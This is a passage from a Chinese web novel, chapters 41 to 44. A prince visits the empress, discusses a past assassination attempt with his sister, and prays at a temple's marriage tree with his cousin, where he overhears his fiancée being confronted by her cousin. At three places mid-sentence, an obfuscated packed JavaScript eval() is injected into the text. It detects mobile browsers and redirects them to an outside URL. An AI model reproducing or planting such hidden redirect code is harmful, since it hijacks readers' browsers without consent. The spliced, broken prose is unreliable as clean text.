百里漾眯了眯眼,瞧着崔栋。他可是记得崔栋之前是有多“恐婚”的,如今看来已然一副接受良好的模样。想来是他与卢家姑娘婚前接触,感情培养的还不错。他可是听说了,前两日崔栋还邀卢家姑娘去跑马了。当然,肯定不是直接约见的,与会的也不只他们二人。虽然他们是未婚夫妻,可一些该注意的还要注意,必是以别的或是别人的名义邀了一群人同往。 “你这么看着我做什么?”崔栋被百里漾略带揶揄的目光看得有些不自在,扭过脸不去看他,用手摸了摸鼻梁掩饰自己的不自在。他知道百里漾想说什么,但哪里给他说的机会,“皇后殿下还在宫中等着你用晚膳呢,快走快走,晚了就进不去宫门了。” 大将军府与皇宫相距不算远,这个时辰就是骑马来回跑两趟都绰绰有余。百里漾懒得戳破他,翻身骑上马,对着崔栋摆摆手就策马离开了。 夕阳渐落,金黄色的阳光配合着云朵在天边渲染出了一大片橘黄色的彩霞。大片的霞光西侧倾洒而下落满了百里漾全身,迎面吹来的风掀起衣袂飘飞,让他浑身上下都洋溢起一股暖洋洋的舒适感。 湛京城中的街道大多宽阔,主道更是足足宽有二十丈以上,常有人骑马来去如风。百里漾心情大好,策马小跑起来,风便更快地从两侧吹过,隐约成呼啸之势。落在旁人眼中,便是鲜衣怒马少年郎,肆意风流。这样的景象在湛京城之中时有发生,不足为奇,但每次都能够吸引人的目光去追逐。 行至宫门前下马,百里漾让守门的将领验了身份符牌后顺顺当当地就往椒房殿过去。最近这段时日,皇后几乎是隔一日就叫百里漾进宫陪她用晚膳,说一说婚礼筹备的事情。她也不是只叫百里漾一个儿子的,有时会将太子一家、百里澄也叫上。每日椒房殿这边也都去请皇帝来,皇帝偶尔会来,却不是日日都来的。 今日也是如此,餐桌上只有皇后、百里澄与百里漾三人。 41. 第 41 章 晚膳后,皇后在一左一右两个儿女的陪伴下在椒房殿外的空旷处散步消食。百里漾与百里澄分别在左右各自搀扶皇后的手,陪着她说话。 “阿娘,夜里风大,回去吧。”走了几圈,百里澄看着台阶下不远处第三次走过的巡逻将士,对着皇后说道。 六月皇宫夜里的风总是带着几丝凉意,他们兄妹俩年轻体壮并不在意这点风,可皇后不行,一旦受凉便容易风邪入体,即使后面能治愈可生病也总归不好受。 百里漾亦在旁边劝道。 “好,我们走完这一圈就回去。”皇后扭头看着左右皆比她高的儿女,眼睛里满是悦色,往日端庄肃然的脸色也完全被柔软所取代。 她的儿女们都长得尤为出色,百里澄是女子,可她身形尤为高挑,体态欣长,放在女子之中完全是鹤立鸡群的存在,甚至比之大部分男子还要出色。而百里漾则更高壮挺拔,站在皇后身边都要比她高一个头有余,现在皇后想要摸他的头还得百里漾半身蹲着才行。 足足五年的时光,远在皇后看不见的江都,她的幼子长大成人了。每次看到百里漾,皇后都有类似的感慨,尤其是负责操办大婚的有司官员三不五时就要来椒房殿向她汇报进度,愈是临近过期,便愈是如此。 想到这,皇后便要说说百里漾了,“虽说大婚事宜都有专人操持,但你也该上点心才是。” 她发现她这儿子在这方面就是撵一下动一下的性子,木愣的都有些愁人了。明明是从小与阿栋一块玩耍的,怎么就不知道学学,时不时送些讨喜的玩意过去,好让女方及家里人知道你的用心,让人觉得姑娘嫁过来不会受委屈。 想到此处,皇后心里一气,用力拍了一下百里漾扶着她的手。 不疼,但百里漾觉得自己挺无辜的,他觉得自己挺用心的了。不过,阿娘说什么就是什么,这种时候反驳只会挨训。他以目示意边上的阿姐帮他说说话,分散一下阿娘的注意力。 谁知道百里澄盯着挤眉弄眼的弟弟看了一会儿,扭过脸去不理他。没得办法,百里漾只好悻悻地跟在皇后身边,听她训话。 “今日你可是去了你舅舅舅母府上?” “是,本来是要拜见舅舅的,但公务繁忙不在府上,便同舅母说了些话。” “云山寺之事,你舅母可同你说了?”这时他们已回到椒房殿之中,皇后由百里澄扶着落座后看向百里漾问道。 百里漾从舅母李氏那里听说这事之后就预想到椒房殿来皇后八成也会提及,刚要回答,却听百里澄忽然道:“太医新换了一记方子,对火候颇有要求,我去瞧瞧,省得底下人不仔细出错,误了时辰。” 他眨眨眼,觉得长姐此举颇为突兀,但长姐的顾虑也并非没有道理。皇后服用的汤药方子并不是一成不变的,太医时常要依据皇后身体的实时情况斟酌着改方子,用药不同,如何服药也相应着要改。 皇后却道:“不去管她,你说你的。”她还不知道长女是什么心思,不就是担心自己说完五郎会顺便再揪着她说一顿么?她都懒得再去说她了。长女向来有主意,由着她去了。 百里漾道:“舅母说城外有座云山寺,寺中有一株千年的姻缘树极是灵验。我与栋表兄便约了后日去一趟。” 他如此乖觉让皇后很是欣慰,不忘嘱咐道:“记得多带些人,不管怎么说安全为上。” 上一次百里漾围场遇刺着实将皇后吓到了,一连做了两日的噩梦,直到最近才好些。虽然觉得如今应当再无人有胆子行刺杀之事,但凡事小心警醒着些总是好的。 百里漾自是应下。虽然每次想起那支暗箭仍是心有余悸,但也不能因此就不出门了。刺杀这事已经叫皇帝阿爹知道了,有一就不能有二,除非他那些异母兄弟们是真的昏了头想试试自己的头有多铁挨不挨得起皇帝的铁锤。 母子俩说完了要去云山寺的事情,百里澄捧着皇后要喝的汤药回来了。 汤药被端到百里漾面前,他很顺手地接过去,侍奉皇后服用汤药后也告辞了。皇帝知道百里漾这些时日都在宫中陪皇后用晚膳,特地给了他一道手令让他可以叫开宫门出宫回王宅。 姐弟俩一道从椒房殿离开。百里漾走的是出宫的路线,眼看着百里澄到了分岔口依旧与他步伐一致,他便知道阿姐是有话同他说。 步入一条长长的步道,四下旷然,百里澄道:“派去围场查探的人来报,根据箭支的制式、入树的深度及羽林卫这些来看,当时刺客与你的距离当在八十步左右,弩箭达不到这样的效果,刺客用的是强弓,寻常的弓箭手做不到如此。” 虽说围场行刺的事情被皇帝揭了过去,但在百里漾他们这里还没有结束。刺杀之事,哪怕怀疑是那些异母兄弟干的,也总要弄清楚究竟是谁做的。处在他们的位置上,任何潜在的危险都不应该被忽略轻视。 “老三他们手底下何时收揽了这样的能人?”百里漾自己就是学过射箭的人,甚至射术还能被人夸赞一声“过人”,自然能明白长姐说的“强弓”需要强到各种程度,许是三石弓。能拉开三石弓的弓箭手必须有惊人的臂力,还能有如此准头的,放眼整个大衍都难凑得出一掌之数。 百里澄道:“天下之大,他们有心,总能叫他们搜罗来几个。别忘了,老三几个的封地可是很靠近北边的。” 封到各地的诸侯王据地一方,手里有钱有权,多的是人想要投之门下为将做官奔一个前程。诸侯王只要有心招揽人才,不愁没人来。况且北边那地方,再过去就是离渊,武风更盛,出几个神射手也不足为奇。 “这般能人,即便藏得了一时也藏不住一世,总会冒出头来的。”百里漾原先微微皱起的眉头一下又松开,“总归有了个追查的方向。” 辛辛苦苦招揽来人就是要拿来用的,越是厉害的人就越是如此,甚至在关键时候还可能会有意想不到的奇效。幕后之人手底下有这般厉害的神射手,这次之后必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799669|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会使他隐匿一段时间,等时机差不多必然还会再用的。如此一来,人总能现形的。 说话间,姐弟两人已来到宫门处。守卫此处宫门的将领见二人过来上前行礼,在验看过皇帝手令之后,令士兵打开宫门,朝百里漾拱手,让开了道路。 百里漾向百里澄告辞后,刚要转身朝宫门外走去,就听长姐说道:“对了,五郎。后日去时往周边瞧瞧景致,说不得有惊喜在等着你。” 这话听着有些莫名,百里漾目中略带疑惑看向长姐。百里澄却不打算与他多说,只是眸中含笑不语。 百里漾纵使摸不着头脑也不好回头去问,镇守宫门的将领还等着他一走就关门呢。 “长公主,夜里风大,还是早些回宫,免得着凉。”高大沉重的宫门缓缓阖上,宫门将领看着不远处被夜风吹起裙摆飘飞的栎阳长公主,眼中有光微微闪动,大步向前,在一丈之外停下,拱手朝百里澄说道。 百里澄眸光很淡,目光射过来似乎能将人穿透,将领的心思也无所遁形。将领年纪在二十许,百里澄记得他是少府家的次子,以前曾见过一两次,没什么印象。她没什么想法,道了一声“辛苦”便转身离开了。 大抵子女姻缘都是为娘的心中的一道愁事,顾宅后宅主母所居的院落之中,顾氏正在对着一堆画像琢磨着儿子的婚事。她儿子家世出众,品貌才德亦俱佳,背后又有位高权重的舅父提携,未来更是前途无量,自然配得上一位家世品貌样样都好的妻子。 这个样貌虽好但家世有些低,家中只有父兄二人为官,官阶有些低;这个家世好,父为九卿之一的太常,只是相貌方面有些欠缺,儿子怕是看不上……看来看去,不是家世低就是样貌差点,要不就是性格不好,就没一个能完全符合她心意的。 顾氏将案面上的这些女子画像翻来看去,只觉心烦。比来比去,她发现竟没有一个比侄女颜漪更为合适的,儿子喜欢又能亲上加亲,再好不过。只可惜侄女不久后就要嫁与江都王为天家妇,与儿子终究是有缘无分。 她想着为儿子张罗婚事,毕竟儿子的年纪也不小了,也更怕儿子死心眼还惦记着侄女。而男子与女子不同,等成家生子后,以前的心思也会淡去,一切就会好的。 顾氏本想与夫君讨论儿子顾晟开的婚事,但顾老爷最近甚少在家中,她连找他都找不到。可自己一个人考虑此事未免会欠妥,她便想到了自己的嫂子曹氏。曹氏为国公夫人,她交际圈子中的人皆是湛京之中一等一的夫人贵女,交际面广,识得人多,对京中贵女多少都有些了解,寻她商量可以避免有思虑不周全之处。 “夫人,公子回来了。”正当顾氏沉思时,伺候的婢女进来禀报。 “快去请公子过来用膳。”顾氏欢喜,忙吩咐婢女道。 婢女快步去了,没过多久回来,在顾氏期待的目光之中吞吐道:“公子说他军中还有公务,换了身衣服就出去了,请您不必等他,自个用膳便是。” 42. 第 42 章 “这样啊。”顾氏心中略微失落,看着面前精致可口的菜肴与左右空荡的位子,轻叹口气,吩咐婢女道,“布菜吧。” 另一头顾晟开从顾宅出来后直奔南衙衙署。他身为校尉,官职不算低,平日里除了坐衙镇守还有巡逻、操练兵卒的任务。今日便是领着巡逻的任务,只是到了晌午,烈日当头,盔甲之下全叫汗水浸湿了,于是便午间趁着休息的空挡回家换一身干净的衣裳。 “顾兄这是从哪处温柔乡回来呢?”回来时,顾晟开迎面碰上与他同级别的两个同僚。其中一个鼻子嗅动了两下,眉眼变得促狭,笑容颇是暧昧,将他上下打量。 “安校尉在说什么,我听不懂。稍后还有任务在身,就不奉陪了。”顾晟开与这两人没多少交情,抱拳后就离开了。 这副连应付也懒得的姿态就是妥妥的不给脸了,还透出一股不屑搭理的感觉。 “瞧他那副傲气样,得意什么啊?”安校尉不爽,“方才那一身的脂粉味,说不得是半道去会哪个相好了。装什么清高脱俗,还不是忍不住了。” 湛京之中有不少勾栏瓦舍,他们南衙里有些没成亲的会去那里找个相好,有些即便成亲了也还会在外边养着一个或几个相好的。有时候轮到休沐日,一群人结伴而去也是有的,而顾晟开是从来不去的那批人中之一。私底下有人看不惯,认为顾晟开故作清高,而这安校尉就是其中之一。 “你这是何意?” “何意?哼哼。”安校尉嗤笑一声,转头看四下无别人,略压低声音说道,“都是男人,还能不懂他的别有用心。眼看着国公嫡女表妹娶不成了,就不装了,转头找女人去了呗。” “你是说……” “公府贵女,如花美眷,谁不想娶。更何况那厮还占着表兄妹的名分,青梅竹马,想近水楼台先得月。可惜喽,人家哪里瞧得上他,也不照照镜子看自己配不配。呸!” 另一人知道安校尉与顾晟开素来不合,他也看不惯顾晟开,只是没有表现得如此明显,“你是说他想做定国公的乘龙快婿?” “外甥哪有女婿稳当?”安校尉笑得暗含深意,眼底含着嫉恨,“不过女婿当不成,总归还是外甥,有定国公做着靠山,他也不怕什么了。上回无故缺值离守,都尉不也只罚了他十军棍。” 按照军规,缺值与擅离职守同罪,怎么着都不能只是轻飘飘地打十军棍就完了。无非是都尉看在顾晟开背后定国公的面子,轻拿轻放了。安校尉这些人自然不服。 “背靠大树好乘凉,谁叫咱们没有这个命呢。若没机遇,这辈子也就只能苦苦熬着了。” 一日过得很快,日升日落再日升,便到了该出发往云山寺的日子。 崔栋早早就来了,他一身蓝服锦袍,腰间束一条饰金腰带,脚踏黑靴,整个人显得蜂腰虎背,极其精神,满面红光看着不像是去上香而是去相亲的。 崔栋一路跟阵风似的进来,边走边喊,“五郎五郎,怎么还没起身?我跟你说,今日休沐,日子又好,往那去的香客可多,去晚了可就是人挤人了。” 他的手刚摁在门环上,百里漾的声音就传出来了,“你再闯进来我就打你一顿。” 崔栋悻悻地收回了手,扭头叫旁边的侍女给他沏壶茶,他就在门口坐着等了。里面的百里漾也没让他等多久,正好是一盏茶的时间,衣装整齐的百里漾就从里面出来了。 “看你还没有用早食,我们吃完再去。”崔栋又不着急了,跟在百里漾身后一步意图蹭饭。 百里漾无语。在江都时崔栋来蹭饭也就算了,这都回湛京大将军府家里了,舅母还能让他没有早食吃么?他严重怀疑崔栋是吃过一回后又到他这里来蹭饭了。 李氏所说的云山寺坐落在湛京城南郊外二十里处的一座山顶上,山势平缓,山道亦修得宽阔,人骑马坐轿也可上去。百里漾与崔栋此行拢共带了二十名护卫前去,行至山脚下,抬头远望可见白烟袅袅不绝,便知此处香火之鼎盛。山道之上也可见往上去的人络绎不绝,男女老少,步行的骑马的坐轿的,应有尽有。 人多,百里漾和崔栋带来的护卫都骑着马,一下子上去可以把山道全给堵了。他们还不至于这么霸道,否则来之前以江都王的名义告知云山寺清场了。 于是,百里漾和崔栋选择下马,徒步上山。护卫将他们护在中间,皆佩刀,一脸肃容地警惕四周。这么一群人出现在山道上还是有些怵人的。好在这里是湛京,天子脚下,王公贵族扎堆,屋顶上掉块瓦都能砸到个官,百姓们也算是见多识广,只当是哪家的子弟出行,看着凶神恶煞的,离远些就行了。 云山寺的规模不算特别大,但胜在环境清幽,树林掩映,枝头上夏花烂漫,寺庙就藏在如斯景色之中。 穿过朱红色的寺墙开出的门洞,再往前就是一座立于大雄宝殿前的葫芦形大香炉,其内香燃如林,升腾而起的香雾缭绕至半空,经久不散,闻之有檀香,并不熏燎。于香炉右前方设有一案,案上置香,旁边站着一名小沙弥。每当有香客前来,小沙弥先合手作礼,让人随意取用案上之香。 百里漾和崔栋随流上前取香,到大雄宝殿内参拜敬香。不多时便有一名身着七宝袈裟的僧人在身后两名小沙弥的随同下朝二人走来。 云山寺的主持是一名得道高僧,年岁在七十上下,头顶戒疤,须发皆白,慈眉善目,一双长眉长眉飘逸垂下有一指长余,双手合礼道:“见过二位檀越。” 二人亦回礼。崔栋道:“久闻大师慈名,家母命我来此必先拜见大师。”李氏是云山寺的常客,平日里颇是虔诚。崔栋来云山寺,李氏对他是有过吩咐的。 他一说李氏,主持就有印象,也因此知晓了他们二人的大致身份,又想起李氏往日前来念叨过的有关儿女姻缘的愁事,对二人起来的目的也心中有数了。 主持说道:“殿后有一林,林中景致尚好,二位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804722|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檀越可前往一观。寺中备有斋菜,若不嫌弃,二位可在寺中用了斋饭后再行离去。”他是高僧,便有许多人慕名而来,想与之探讨佛理或是寻求开解。在与百里漾和崔栋说话的这一会儿功夫,就有好几人在旁候着了。 “大师请便,我二人自行在寺中参观便是。”百里漾说道。大师是忙人,他们不好耽误人家时间。 与主持告辞之后,百里漾与崔栋便朝后山走去。半途中,百里漾想到方才主持对他们前来目的之了然,只怕是李氏之前没少在主持面前提起儿女姻缘之事,不由笑道:“想来等你成亲之后,舅母得了空就要亲来寺中还愿的。” “来就来呗。若届时我还在湛京,陪她走这一趟。”崔栋说道。亲娘为他的婚事操了多少心,崔栋是知道的,不可能不领情。卢氏亦合他的心意,这该是桩好姻缘,成亲之后陪同母亲前来还愿亦是应当的。 百里漾算了算日子,怎么着都要等他成亲之后才会返回江都,遂告诉崔栋,“你放心,还愿这事你准能陪舅母来一趟,届时还得带上表嫂。” 他随后想到自己也要成亲了,而成亲之前来拜姻缘树,若无意外,之后也是要来还愿的。只是,他的还愿可能要等下一次回湛京了。 穿过好几座供奉的殿宇,越过一座小石桥,百里漾与崔栋便来到了一片树林之中。树林茂盛,许多不同种类的树木拔地而起,因是正值夏日,许多树的枝头上缀满了各色的小花,枝叶葱茏,青翠与各色杂糅期间,一派生机盎然之景。 林中有不少人,俱是来此上香的香客,以青年男女居多。百里漾想到寺中的小沙弥曾对他们说,姻缘树就在这片树林之中,见此也就不足为奇了。皆是来求姻缘之人,这一刻他们与这些人并没有什么不同。 姻缘树不远,百里漾与崔栋再往前没走多久便到了。只见一株足有八人合抱粗壮的大树拔地而立,足有一丈高,远看绿荫如盖,将附近两丈之内的半空都遮蔽了。此树据说树龄已逾三百年,看似一株实则为两株合抱,根部相连,树干紧紧相依,几乎要融为一体;枝叶亦交错相交,向四周伸出更多细长的枝干,一块块系着红色丝绳的姻缘符便勾连在其间,向下缀出一大片耀目的红色来。 这姻缘树瞧着便喜庆,让人一看就想过去拜拜。实际上已经有人在拜了,还很多,男男女女都有。姻缘树的周围用篱笆围了一圈,这些男男女女们就围着这一圈篱笆在祈福、挂符。 “等等,且先瞧瞧。”崔栋刚要大步上前,被百里漾拉住了。他们初来乍到的,还不知道祈福的流程仪式,左近也没有寺中之人讲解引导的,还是先看看别人是怎么做的再说。 崔栋一想也是,他们此行可是诚心来求姻缘,祈求婚事顺遂、幸福美满的,自然得严格按照正确的步骤来,否则漏了哪一步或是做的不到位,得不到保佑怎么办?于是,两个人挺直腰背,看似一派正直假装不经意实则眼睛一直在暗搓搓地盯着人家的动作。 43. 第 43 章 看了约莫一刻钟之后,百里漾和崔栋都觉得自己学会了,正要上前照着做,然后发现了一件至关重要的事情。 姻缘符呢?这些人手里的红色丝绳和姻缘符是哪里来的? 正当他们要上前去询问那些手里已经拿着姻缘符的香客时,一名青年沙弥抱着一个托盘大的红色麻布袋子从树林中钻出来,一路单手作礼喊着“借过”,直至绕过人群来到了一方桌案之前。也是因此,百里漾与崔栋才发现姻缘树左前方摆着一张桌案,只不过此前因为角度以及人群遮挡视线的原因,他们一直没有看到。 百里漾和崔栋:“……” 这云山寺不仅为前来上香的香客提供香,还免费提供姻缘符,真的是很贴心了。 二人先去取姻缘符。 “二位檀越,请取符。”青年沙弥双手合礼念佛号,示意他们将手伸入袋子中取符。 百里漾与崔栋依言照做,分别取出一枚来。放在于中端详片刻,发现绣工颇佳,针脚工整细密,面上的连理枝缠绕的细节都绣出来了,可见用心。 崔栋取了符,等了片刻发现真没下文了,他试着问青年沙弥,“小师父,这拜求祈福有没有什么讲究?”不算算八字或者抽个签么? 百里漾也是这个意思,亦看向青年沙弥。 “心诚则灵,愿二位所愿皆可得。”青年沙弥双目含笑,双手合十再念一声佛号。 心诚则灵,旁的做太多,心不诚也是无用功。 百里漾被一言点醒,似乎他们是有些紧张以至于束手束脚了。 祈福时,只需将姻缘符放在双手合起的掌心里,闭上眼在心中祈念,再对着姻缘树三拜即可,最后将手中的姻缘符以红色的丝绳系挂在姻缘树的枝头上就完成了祈福。 亲自将姻缘符挂上枝头后,百里漾看着随风飘摇的红符,不可避免地想到了自己的未婚妻颜漪。不可否认的是,他们之间缔结婚姻的缘由是很冰冷的,最根本的原因是两方出于正直的需要进行的联合,他与她都可以算作是两边条件合适的代表人。 可单纯这么想未免又太过冷酷。 不管怎么说,他们以后都会是亲密无间的夫妻,哪怕一开始的结合不是出于爱,他也希望他们日后能够培养出真正的感情,而不是相敬如宾,甚至面和心不和、同床异梦。他们俩是走不了正常先相识、相恋再成婚的流程了,但能先婚后爱也不错。 百里漾祈完福,转头看见崔栋还在对着姻缘树祈念,走近点还能听到他嘴里的念念有词,“求漫天神佛保佑,保佑我日后一定生一个大胖闺女和小子,保佑,保佑。” 百里漾:“……” 不得不说,崔栋与卢家姑娘感情培养的进境堪称神速。从一开始崔栋的百般不情愿、忧心忡忡发展到连以后要生几个娃都想好了,前后也就月余的时间。或许他真的应该反思自己一下了,从上次在定国公府见过面之后,他与颜漪之间似乎真的没有其他的互动了。 百里漾皱着眉陷入了苦思之中。 “想什么呢,怎么一副苦大仇深的模样?”崔栋系好姻缘符,见他站在原地沉思,不由过来捅咕了一下百里漾。 苦大仇深? 百里漾想自己怎么可能是这种表情,一脸无语地看着崔栋。 “接下来还有什么安排,将周围都转转?” “我阿娘说要我去观音殿中替她敬香。”崔栋说完摸了摸肚子感受了下饥饿感,“听说此地的斋菜不错,到点正好可以去用午膳。” 观音送子,李氏盼着抱大孙子,是该去敬香。 百里漾点头,“那你去吧,我去周围转转。” “此处人多……”崔栋有顾虑,担心有刺客。他一直记着上次在围场时他们分开之后百里漾差点就被刺客得手了,现在想起仍是后怕不已。云山寺香火鼎盛,来此地的香客鱼龙混杂,什么人都有,最是容易混进刺客。 百里漾并不觉得如今他那些有心谋大位的异母兄弟还会有谁有胆子来刺杀他。一旦动手,不管成功与否,皇帝都会严查到底,他们将会永远与皇位无缘,再不会有任何机会触碰到那把龙椅。崔栋觉得此时仍不能掉以轻心,那些诸侯王还在京,鬼知道他们会不会突然发疯。他坚持两人不能分头行动,不行他就一直跟着百里漾。 这事也没有什么好争执的,且拜观音是李氏吩付的,百里漾便跟着崔栋一道过去。从观音殿出来之后,时间也引了午时。寺中有沙弥来请二人去斋堂斋饭。他们没有拒绝,带着随行护卫一道去了。 一群人,俱是人高马大,气势不俗的,这一路过来实在显眼。纵是有高门贵族带着仆人随从出行的,可谁家也没有他们这样的气势,尤其是领头的两位公子,当真是俊朗贵气不凡。 有想打听他们来历的,可在周围问了一圈也没得出个结果来。有些没太在意有些女眷看着就颇为心动,这些来云山寺的高门贵族们其实很多都是为了求姻缘来的。如今见了两个如此不凡的公子,确实有些是动了心思。 可是今日怕是打听不出来了,着实可惜,但日后未必没有机会。湛京虽大,可实际上权贵们的交流圈子也就那么点,这两位公子若真是哪家子弟,日后多参加几场雅集、宴会,总有机会能够再次见到的。 百里漾和崔栋这两个虽未婚却即将有妻的人还不知道自己来云山寺一遭就已经被某些眼光独到的夫人贵女一眼瞧中打着来日方长的心思预备着看看能不能发展成自家女婿/夫婿。 他们从斋堂出来,人均吃得饱饱的。二十来个人高马大的青壮年,干的是体力活,饭量个顶个的大,吃的是挺多的。为免让人觉得他们是来蹭寺中斋饭的,大家都捐了不少香油钱。 随行的护卫之中百里漾和崔栋记着还有好些个没有成亲的。在姻缘树那里时,崔栋就与他们说了,“既然都到这里了,你们没成亲的还不趁这个机会去求个好姻缘,拜拜祈个福啥的,心诚则灵,日后指不定就有如花似玉的媳妇给生大胖小子了。” 老婆孩子热炕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809675|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头想想就令人激动。虽说在外辛苦拼搏可回家就有妻儿在家中等你,这对于这个时代的未婚大龄青年来说,诱惑力非同小可。况且这姻缘树是大王和都尉都亲自来拜求祈福的,肯定是灵验啊。当下就抱拳谢恩轮换着去拜姻缘树去了。他们都是江都王的近身侍卫,下次也不知道有没有再来的机会。若是真娶上媳妇,怕日后不能亲来还不了愿,只能在香油钱上略表心意。 从斋堂出来之后,百里漾他们并没有马上下山离开,崔栋说肚子吃得有些撑,不若走两圈逛逛消消食再离去。百里漾想了想回去又没有什么要紧事,答应了。 逛着逛着,他们走到了后山一僻静处。边上长有一棵生长茂盛的榕树,夏日绿荫如盖,投下一块大阴影,正好可以挡挡日头。 “迎亲之时,定国公会赶回来么?” 两人的婚期将近,今日又来了云山寺,那就说说有关婚事筹备的事情呗。 “此事还不知,或许不会特意赶回来。”百里漾微微摇头,“北边离渊近来有些不太安分,定国公坐镇北方,这关头若是离开,只怕离渊会趁机生事。” 以大局为重,十有八九皇帝是不会让定国公特意跑来一趟的。百里漾忽然想到,自己成亲这样的人生大事,父母双亲若是不能皆在场,对于颜漪来说想必也是一个不小的遗憾。 抬头看日头渐偏西,百里漾说了一句,“行了,时间差不多了,回吧。” 正当他们转身要离开这里时,听到了另一面传来脚步声,是有人来了。百里漾没当回事,这地虽然僻静但也不是没有人来。他们能来,别人也能来。 “若是无事,我该回去了,母亲还在等我。”耳边忽然传来一名好清冷的声音,来人是一名女子,但并不只她,因为脚步声错落杂乱,不是一人能够发出的。 百里漾无心偷听他人的对话,抬脚欲离开却突然觉得这声音分外熟悉,脚下像意识地一顿住。崔栋也听到大榕树的另一面有人来了,跟随百里漾的步伐离开,敏锐地察觉到他突然的顿住,脚下也跟着停住了,投以询问的目光。 百里漾已经能够确定声音的主人就是颜漪,他不会听错也不会记错的。他忽然记起前夜出宫时长姐百里澄同他说的“惊喜”,原来是这么一个惊喜。怪不得阿姐会同他说“不要着急回来,回处逛一逛会有惊喜”。原来她早知道今日颜漪也会来云山寺。百里漾没有察觉到自己眼中飞快地涌现出欢喜,既然已遇见,他便想着出声告知对方自己的存在。 这颗大榕树实在是过于粗壮茂盛了,来时方向的一侧连着寺墙,若非声音,仅凭视线,百里漾恐怕都发现不了对面有人。他想过去见面,只需从另一段绕过去即可。 崔栋也听到那道女声了,但他可没能如百里漾一般认出声音主人的身份,毕竟他与颜漪只在游园会上见过一面,后续就没有接触了。不过,看百里漾的反应,崔栋便知道他是认得对面的女子的,甚至还想过去与之见面。崔栋觉得自己差不多猜到对面女子的身份了。 44. 第 44 章 百里漾想绕过榕树大大方方地与颜漪相见,折返回头走了好几步至树的另一头,正准备绕过去时,听到了另一道不属于颜漪的声音,“七娘,你别着急走,我有话同你说。”他的脚步因此顿住。 这是一道男声。 百里漾对它的熟悉不如对颜漪的声音,但也能认出来,这道声音的主人是顾晟开,而他的身份定国公的外甥、颜漪的表兄。这次他也随着来云山寺了。 崔栋的脚步亦随着定在地上,他也认出对面的人是顾晟开了,面上的神情有些微妙,这四下无人又孤男寡女的,实在是容易让人多想。不等百里漾开口,他便向后退开六七丈的距离。这是一个稳妥且安全的距离,保证了百里漾始终能够位于他的视野之中,一旦有事他可以迅速冲过去保护王驾。 一树之隔另一面的人似乎并没有发现榕树另一侧还有人在。颜漪秀美微蹙看着眼前的顾晟开,并不想与他在此多待,“母亲怕是已经在寻我,表兄之事不妨日后再说。” 婚期将近,她本该留在家中备嫁。只是今日母亲曹氏要来云山寺敬香,为她即将到来的婚事祈愿,她便随着一道来了。敬香拜佛之后,母亲曹氏去寻了主持大师求教佛法,她便出来四处转转、看看风景。 行至一处山道,身边一名婢女过来同她说卢家姑娘今日亦在寺中,请她过去相见。她与卢家姑娘相识,关系不错,不久的将来亦会成为表妯娌。卢家姑娘相邀,她没有多想便过来了,不想来到此处,发现在此处等她的根本不是什么卢家姑娘,而是他的表兄顾晟开。当即她就意识到自己是被骗了,不,应该说是被身边人背叛了。 颜漪说完就要转身离开,她冷漠决绝的态度不仅刺痛了顾晟开的眼也更刺痛了他的心,他朝着颜漪疾走两步,伸手就要抓住她的手。颜漪被他突兀且失礼的动作惊着了,连连后退三步,避开他抓过来的手并喝止住了他的动作,“顾表兄!” 顾晟开看着站在距他两丈之外的颜漪,像是被她眸中的冰冷冻住,不甘心地问道:“难道在你的眼中,我只有你的表兄这一层身份么?你明明什么都知道,可这么久以来却偏偏能够做到对我熟视无睹。” 他在控诉颜漪的无情,他对他的心意,明明她一直以来都看在眼里,却能够冷心做到不闻也不问。她对他始终划有一条线,她从不会越界,也不允许他越界。他以为自己会有机会的,只要他有耐心,也足够的努力。他一直在努力让她看到自己,努力让别人看到他。可最终的结果是,那条线始终存在,而那些人也从来看不到他。等来等去,最终他等来的是自己心爱之人即将要嫁给别人的消息。 他不甘心,真的好不甘心! 颜漪再一次被顾晟开惊到了,因为他出人意料的举动以及此刻所说的惊人之言,更因为顾晟开显露出的这一面。顾晟开说的有一点没有错,她过去确实隐隐察觉到了他对她产生了男女之情,但这是单向的,在她这里,他只是表兄。 在察觉到顾晟开对她的这份感情之后,颜漪逐渐减少了与他的接触,也屡次拒绝他的示好她,通过这样的做法表达拒绝。渐渐的,顾晟开碰壁的次数多了,也慢慢的退回了原来的位置。她以为顾晟开已经歇去了对她的心思,但事实表明这也仅仅是她单方的认为罢了。 